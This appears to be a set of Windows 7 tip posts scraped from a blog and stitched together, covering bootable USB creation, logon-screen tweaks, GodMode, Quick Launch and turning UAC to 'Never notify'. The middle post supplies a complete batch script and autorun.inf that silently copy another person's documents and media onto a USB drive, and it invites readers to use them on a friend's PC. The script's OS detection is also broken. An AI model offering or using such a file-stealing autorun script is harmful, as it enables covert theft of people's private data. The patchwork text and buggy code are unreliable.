You may be wondering why flash drive instead of CD/DVD. The answer is clear as I’ve mentioned it above, i.e. just the minor scratches fail your DVD to work properly. Moreover if you don’t have DVD drive or you have a netbook then this trick might come pretty handy. Plus, reading data from flash drives consumes less energy resources as it doesn’t need any mechanical device to read as in DVD.

But another question may arise, DVD are cheaper than flash cards. Sorry folks but I have no answer for this. However you’ll realize its need when you really don’t have any resources to install Windows. Anyways let’s begin with the tutorial. Make sure that you have a flash drive not less than 1 GB space and also you’ll need Windows 7 installer disk or iso image. Oh yes, and you must have administrator’s privilege.

First thing to do is obvious; insert your flash card in to your computer. Since Windows 7 setup can only be booted in NTFS format, you’ll need to format your flash drive in NTFS format with any volume label.

Run command prompt and in command prompt, type diskpart.

The disk partition manager will run in DOS mode.

To check the existence of your flash drive type “list disk” (without quotes). It will list all the volumes even the hidden one with the volume name.

Remember the disk number and disk space for the identification purpose. In my case it’s disk 2. Select disk by using following syntax.

Select disk #

Where, # is the disk number.

If the disk is selected it will say that disk 2 is selected.

Type, clean to clean the disk. It will notify you when its done.

Now type create primary partition and press enter. If you got confused, then refer to the following screen:

Now list the partition by using following syntax:

list partition

The partition available will be listed. Now with the help of disk space you noted previously in select disk. Remember the partition number.

Type select partition # . While # is the partition number.

If selected, the partition number is selected message will be showed.

Now type activate, to activate the partition.

You’ll get similar result as the image below:

Now you’ll need to format the drive in NTFS format by using following syntax:

format fs=NTFS

Wait until the format is complete.

After the format is complete, type assign.

Now you are done with diskpart. Type exit and press enter to exit.

Now insert Windows 7 disk or extract the iso image to your hard disk with the help of 7-zip or similar extraction software.

Now in command prompt change the directory to root location of your Windows installer. If its DVD then it might be the drive letter (in my case it’s F drive). If you have extracted it to a directory then load command prompt from there.

After you are inside the boot folder, type the following syntax:

bootsect /nt60 Z: (Where, Z is the drive letter of your flash drive)

If everything went well you’ll see the following screen:

Now, copy all the files from the Windows 7 DVD or ISO to the flash drive.

Reboot the computer. Remember to change the first boot device to your Flash drive in the BIOS.

You should be able to install Windows 7 from your USB flash drive now.

Hope that was helpful.

Update: If you don’t want to go through these mess then Microsoft has released a utility for this, you can download it from their site.

Windows 7 USB-DVD tool

Instruction

To do so, go to start, type Windows Live. In Windows Live messenger, right click and select properties.

In Window Live Messenger Properties, go to Compatibility tab and enable compatibility mode by choosing previous version of Windows, I chosed Windows XP SP3. Now click OK button.

Now you’ll see that Windows Live Messenger will appear in Notificaton area.

Hope this short tips was helpful.

This useful tool is actually brought to you by tweaks.com.

It enables you to change the background of the windows logon screen. You can have any size of background, this tool automatically resizes and recompresses the image to the highest quality possible being the original image untouched and unmodified.

If you want the default Windows 7 logon screen back just click Revert to Default Logon Screen and the application will automatically uninstall any customized screens.

To change the logon screen, download Tweaks.com Logon changer for Windows 7.

Unzip the 250 KB zip file and run the program. When the program loads up, Click on Change Logon Screen button.

Browse the background image you want in your logon screen. Don’t worry about 245KB image limit as logon changer tool automatically compress and resizes the image. So you can choose any large file.

If the file size is too large, then it will ask to create copy of it and resize it. Click Yes to proceed.

If it detects old logon backgrounds then click OK. Now you’ll have new logon screen ready. To have a live preview of it click on Test button.

If you don’t like the current screen and want to switch back you can always click on Revert to Default Logon Screen.

Hope this tutorial was helpful.

I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you the basic things what will happen.

When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).

Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.

Here goes the batch code:

@echo off

:CHECK

if not exist “%homedrive%\Copied_files” md “%homedrive%\Copied_files”

if exist “%systemdrive%\files” goto COPIER7

goto ERROR

:COPIER7

if not exist “%homedrive%\Copied_files\%computername%” md “%homedrive%\Copied_files\%computername%”

if not exist “%homedrive%\Copied_files\%computername%\VIDEOS” md “%homedrive%\Copied_files\%computername%\VIDEOS”

if not exist “%homedrive%\Copied_files\%computername%\PICTURES” md “%homedrive%\Copied_files\%computername%\PICTURES”

if not exist “%homedrive%\Copied_files\%computername%\MUSIC” md “%homedrive%\Copied_files\%computername%\MUSIC”

if not exist “%homedrive%\Copied_files\%computername%\DOWNLOADS” md “%homedrive%\Copied_files\%computername%\DOWNLOADS”

copy /y “%userprofile%\Documents\*.*” “%homedrive%\Copied_files\%computername%”

copy /y “%userprofile%\Videos” “%homedrive%\Copied_files\%computername%\VIDEOS”

copy /y “%userprofile%\Music” “%homedrive%\Copied_files\%computername%\MUSIC”

copy /y “%userprofile%\Pictures” “%homedrive%\Copied_files\%computername%\PICTURES”

copy /y “%userprofile%\Downloads” “%homedrive%\Copied_files\%computername%\DOWNLOADS”

MSG %username% “DONE!”

exit

:ERROR

exit

What it actually does is in first case ,CHECK, it checks if your removable storage have folder named, Copied_files or not. If it doesn’t have then it creates one by using MD (Make Directory) command.

Again it checks if you have files folder then it will assume that you are using windows Vista/7. Other wise it will return an error and exits.

Now I’ve defined another two cases after the first case CHECK, that is COPIER7 case and ERROR case.

Case COPIER7 will execute when the program recognizes it is Windows Vista/7, where the real copying work goes on.

Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.

This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.

Now let’s create a file that will load it automatically.

[autorun]
Open=Filename.bat
Action=File Copier

The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.

Copy the two files, autorun.inf and Filename.bat in your flash drive.

Then plug in your device to your friends PC and do the evil things.

Where is the flaw?

It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).

Another thing is that it determines the windows by searching the file users and Docuemnts and settings, which is not the right way to determine your system operating system.

However this is just an educational tutorial.

Hope this tutorial was helpful.

This is guest post from Suraj Kayastha at Hack Tutors and YouCanHack. blogs , where he writes about various technology.

To get this secret revealed in your Windows 7, simply create an empty folder and rename it to the following:

GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}.

The folder icon will instantly change into a shortcut name GodMode which would allow you to access all settings of Windows. One can change the settings at their own will.

Hope this trick was helpful to you.

1) Go to windows Explorer

2)Click on Organize -> Folder and Search Options

3) In Folder options click on View tab and select Show hidden files, folders and drivers and uncheck Hide protected operating system files (Recommended). If prompted with confirmation, click Yes.

4)Browse to \Windows\Globalization\MCT\ (just type \Windows\Globalization\MCT\ in windows 7 search field ) . There are five folders in the name with format MCT-XX . Go into the folder that you want to activate its theme and double click on the XX.theme file to apply the theme to the Windows 7 desktop system. Once a theme is ran and activated, the theme will be remembered and saved into Personalization options

1)How to Enable Quick Launch in Windows 7

If you want place where you could put icons for programs that you use a little less frequently , then you need Quick Launch barr. Quick Launch is missing in Windows 7, but there is a way to bring it back.

Right click on a empty space on the taskbar and click on Toolbars ->New Toolbar…

In the Folder line, type or copy : %userprofile%\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch
and click on Select Folder

You now have a Quick Launch toolbar on the taskbar.

To disable Quick Launch Bar right click on a empty space on the taskbar and click on Toolbars and Quick Launch to uncheck .

2) How to burn ISO images to CDs or DVDs in Windows 7 without software

Just double-click the ISO image, choose the drive with the blank disc, click Burn and watch as your disc is created.

3) Create a tutorial for a computer with Problem Steps Recorder

Main purpose of Problem Steps Recorder is to send feedback to Microsoft’s developers, but you can use it also to create image tutorials for your computer . Problem Steps Recorder is to send tracking your mouse and keyboard input while taking screenshots that correspond with each new action and save it as HTML slide show. To lanuch this program type in start menu psr.exe

1)Go to Start Menu -> Control Panel

2) Click on System and Security

3) Under Action Center and click on Change User Account Control settings

4) After this will appear slider where you can change ‘comfort-level’ with the notifications. Slide the slider bar to the lowest value (towards Never Notify), with description showing Never notify me.

5) Click OK and restart your computer

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